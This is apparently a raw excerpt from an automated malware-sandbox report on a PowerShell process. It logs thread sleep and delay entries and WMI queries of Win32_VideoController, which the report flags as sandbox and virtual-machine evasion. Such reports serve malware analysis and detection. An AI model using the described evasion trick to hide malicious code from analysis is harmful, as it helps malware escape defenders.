Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591250	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591125	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590856	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590639	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590531	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590422	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590094	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589981	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589870	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589758	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589641	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589531	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589422	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589092	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588965	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588859	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588739	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591031
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590901
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590767
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590656
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590546
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590432
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590203
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589871
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589760
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589648
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589421
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589202
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588982
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588855
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588628
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588515
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588386
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588280
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591094
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590715
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590609
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590498
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590390
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590172
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590062
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589953
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589840
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589729
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589617
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589390
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589172
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589062
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588951
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588824
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588718
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588597
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591097
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590846
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590707
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590566
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590441
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590316
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590191
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590066
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589941
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589816
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589691
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589560
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589449
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589347
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589222
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589097
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588847
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588722
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588597
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588472
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588347
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588207
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588082
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587957

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7719	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1885	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8063
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1621
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7393
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2307
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5230
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4486
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3628	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3637
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6100
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3493
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9681	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9487
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2722	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9678
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9274
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 382
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2813	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2804	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 2838	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe TID: 764	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1876	Thread sleep count: 7719 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5592	Thread sleep count: 1885 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3680	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6444	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4220	Thread sleep count: 8063 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep count: 1621 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2108	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3924	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4276	Thread sleep time: -21213755684765971s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7240	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7256	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7084	Thread sleep count: 3628 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8228	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7336	Thread sleep count: 3637 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2680	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8200	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8220	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1992	Thread sleep count: 6100 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5252	Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8208	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8080	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8240	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3772	Thread sleep count: 3493 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7688	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2436	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep count: 9681 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -591250s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -591125s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -591000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590856s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590750s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590639s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590531s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590422s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590312s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590203s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -590094s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589981s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589870s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589758s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589641s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589531s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589422s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589312s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589203s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -589092s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -588965s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -588859s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep time: -588739s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6108	Thread sleep count: 9487 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 36 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3472	Thread sleep count: 190 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -591031s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590901s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590767s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590656s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590546s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590432s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590318s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590203s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -590093s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589984s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589871s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589760s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589648s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589531s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589421s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -589312s >= -30000s
